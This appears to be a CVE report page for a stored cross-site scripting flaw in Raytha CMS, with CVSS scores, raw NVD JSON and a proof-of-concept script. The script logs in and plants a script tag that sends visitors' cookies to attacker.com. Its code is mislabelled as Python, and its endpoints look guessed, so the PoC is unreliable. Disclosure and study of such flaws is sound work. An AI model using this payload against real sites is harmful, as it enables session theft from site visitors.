Security Vulnerability Report
中文
CVE-2025-69237 CVSS 5.4 MEDIUM

CVE-2025-69237

Published: 2026-03-16 14:18:01
Last Modified: 2026-03-16 19:31:55

Description

Raytha CMS is vulnerable to Stored XSS via FieldValues[0].Value parameter in page creation functionality. Authenticated attacker with permissions to create content can inject arbitrary HTML and JS into website, which will be rendered/executed when visiting edited page. This issue was fixed in version 1.4.6.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:raytha:raytha:*:*:*:*:*:*:*:* - VULNERABLE
Raytha CMS < 1.4.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-69237 PoC - Raytha CMS Stored XSS via FieldValues[0].Value // Authentication required with content creation permissions const fetch = require('node-fetch'); const BASE_URL = 'http://target-website.com'; const LOGIN_ENDPOINT = '/auth/login'; const PAGE_CREATE_ENDPOINT = '/api/pages/create'; // Step 1: Authenticate and obtain session cookie async function login(username, password) { const response = await fetch(`${BASE_URL}${LOGIN_ENDPOINT}`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password }), credentials: 'include' }); return response.headers.get('set-cookie'); } // Step 2: Create page with malicious XSS payload in FieldValues[0].Value async function createPageWithXSS(cookie) { const xssPayload = "'><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"; const pageData = { title: 'Malicious Page', templateId: 'default', FieldValues: [{ Key: 'content_field', Value: xssPayload // XSS injection point }] }; const response = await fetch(`${BASE_URL}${PAGE_CREATE_ENDPOINT}`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': cookie }, body: JSON.stringify(pageData) }); return response.json(); } // Execute PoC (async () => { const cookie = await login('attacker_user', 'password123'); const result = await createPageWithXSS(cookie); console.log('Page created:', result); console.log('XSS payload stored. Victims visiting the page will trigger the script.'); })();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69237", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:00.647", "lastModified": "2026-03-16T19:31:55.417", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Raytha CMS is vulnerable to Stored XSS via FieldValues[0].Value parameter in page creation functionality. Authenticated attacker with permissions to create content can inject arbitrary HTML and JS into website, which will be rendered/executed when visiting edited page.\n\nThis issue was fixed in version 1.4.6."}, {"lang": "es", "value": "Raytha CMS es vulnerable a XSS Almacenado a través del parámetro FieldValues[0].Value en la funcionalidad de creación de páginas. Un atacante autenticado con permisos para crear contenido puede inyectar HTML y JS arbitrarios en el sitio web, que serán renderizados/ejecutados al visitar la página editada.\n\nEste problema fue corregido en la versión 1.4.6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:raytha:raytha:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.6", "matchCriteriaId": "4A4FC7D6-F33F-4121-A375-B063263585FD"}]}]}], "references": [{"url": "https://cert.pl/en/posts/2026/03/CVE-2025-69236", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://raytha.com", "source": "[email protected]", "tags": ["Product"]}]}}